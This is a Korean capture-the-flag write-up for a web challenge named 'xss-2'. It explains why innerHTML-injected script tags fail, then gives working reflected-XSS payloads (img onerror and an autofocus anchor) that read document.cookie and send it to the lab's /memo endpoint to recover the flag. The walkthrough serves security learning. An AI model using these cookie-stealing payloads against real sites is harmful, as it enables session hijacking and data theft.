xss-2


  • 문제 흐름은 xss-1 문제와 동일했는데요. /flag 경로로 POST 요청을 보내면 check_xss 함수가 호출됩니다.

  • xss-1 문제와는 달리, xss-2 문제는 vuln.html 파일이 존재했는데요.
  • (POST /flag) 경로에서 입력받은 파라미터(param) 값을 innerHTML로 페이지에 출력하는 형태입니다.

  • /vuln 경로에 XSS 페이로드를 삽입한 후 반응을 살피면 아래와 같은데요.
  • 페이지에 악성 페이로드 삽입은 성공했지만, 스크립트가 실행되지는 않았습니다.

  • 스크립트 태그가 아닌, 이미지 태그를 사용하니 정상적으로 XSS 페이이드가 실행되었습니다.
    • 찾아보니, HTML5는 innerHTML로 생성된 스크립트(script) 태그를 텍스트로 인식한다네요. (REFERENCE 1, 2)
    • 코드 인젝션을 예방하기 위해서..인 것 같은데, 다른 태그는 왜 안 막았는지 궁금하긴 합니다.

PoC

  • /vuln 경로에서 Reflected XSS 취약점이 발생하는 건 확인했으니 플래그를 획득해보겠습니다.
  • (POST /flag) 경로에서 파라미터(param) 값으로 아래와 같은 페이로드를 입력해보겠습니다.
<img src=x onerror=window.open('http://127.0.0.1:8080/memo?memo='+document.cookie)>
<a tabindex=1 onfocusin=location.href="/memo?memo="+document.cookie autofocus>flag</a>


  • (url) http://127.0.0.1:8000/vuln?param=<img/src=window.open('http://127.0.0.1:8000/memo?memo=' + document.cookie)>
  • (cookie) {"name": "flag", "value": FLAG.strip(), "domain", "127.0.0.01"}
    • 호스트 내부에서 셀레니움을 통해 위 URL로 요청이 보내지며 최종적으로 /memo 경로에 플래그가 저장된다.
      • (1) 쿠키(cookie)와 함께 URL 경로로 접근
      • (2) 이 때, /memo?memo={param}의 param 값으로 플래그를 넘김
      • (3) memo() 함수 호출되고, memo_text 변수에 플래그 값이 추가로 저장됨

  • 이후 /memo 경로로 접근하면, 플래그가 저장되어 있는 걸 확인할 수 있습니다.

🐛.. 🐛.. 🐛..


REFERENCE

  1. https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0
  2. https://jjam89.tistory.com/178